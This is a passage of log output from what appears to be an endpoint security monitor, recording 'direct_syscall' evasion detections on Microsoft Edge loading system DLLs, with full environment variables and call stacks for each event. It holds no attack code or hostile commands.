Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd15a3b2 C:\Windows\System32\user32.dll!SetClipboardData|0x7ffcdd15a2d7 C:\Windows\System32\user32.dll!SetClipboardData|0x7ffcdd17f88b C:\Windows\System32\user32.dll!CreateWindowStationW|0x7ffcdd17f6c4 C:\Windows\System32\user32.dll!CreateWindowStationW|0x7ff7cf857456 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf8572c1 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf857283 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffc901ed2d9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8ceb457d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae1d4 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:19+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4174042 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.5371332 +0100 CET + Params: base_address➜ 7ffcd89b0000, checksum➜ 696534, default_address➜ 7ffcd89b0000, file_path➜ C:\Windows\System32\uxtheme.dll, image_size➜ 696320, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd15583d C:\Windows\System32\user32.dll!User32InitializeImmEntryTable|0x7ffcdeb45ce4 C:\Windows\System32\ntdll.dll!KiUserCallbackDispatcher|0xfffff804754fcd69 C:\WINDOWS\system32\ntoskrnl.exe!KeUserModeCallback+0x299|0xfffff80420c7f3f5 C:\WINDOWS\System32\win32kfull.sys!DestroySMWP+0x4f5|0xfffff80420c7e4af C:\WINDOWS\System32\win32kfull.sys!NtUserCallNextHookEx+0x3bdf|0xfffff80420da9483 C:\WINDOWS\System32\win32kfull.sys!NtUserLoadUserApiHook+0xc3|0xfffff80420c26986 C:\WINDOWS\System32\win32kfull.sys!NtUserCreateWindowEx+0x1f26|0xfffff80420c250d5 C:\WINDOWS\System32\win32kfull.sys!NtUserCreateWindowEx+0x675|0xfffff804069052b0 C:\WINDOWS\System32\win32k.sys!EngReleaseSemaphore+0x1e40|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffcdc272084 C:\Windows\System32\win32u.dll!NtUserCreateWindowEx|0x7ffcdd14804a C:\Windows\System32\user32.dll!CreateWindowExW|0x7ffcdd147bd7 C:\Windows\System32\user32.dll!CreateWindowExW|0x7ffcdd1479e2 C:\Windows\System32\user32.dll!CreateWindowExW|0x7ffc8f03f8b8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8ce5965c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce59602 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8e433cb9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cec2cac C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0e95 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec089c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:19+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4174223 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.5514087 +0100 CET + Params: base_address➜ 7ffcdcd30000, checksum➜ 1689904, default_address➜ 7ffcdcd30000, file_path➜ C:\Windows\System32\ole32.dll, image_size➜ 1667072, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ EMBEDDED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ffc8ed526e5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8fe05aa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc9b68122f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7ffc8f216366 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f21631e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8ce5c2c3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8f05ea5b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f05e2b7 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8ce5b42e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8cec08bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4174320 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.555628 +0100 CET + Params: base_address➜ 7ffcda8b0000, checksum➜ 158678, default_address➜ 7ffcda8b0000, file_path➜ C:\Windows\System32\kernel.appcore.dll, image_size➜ 110592, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 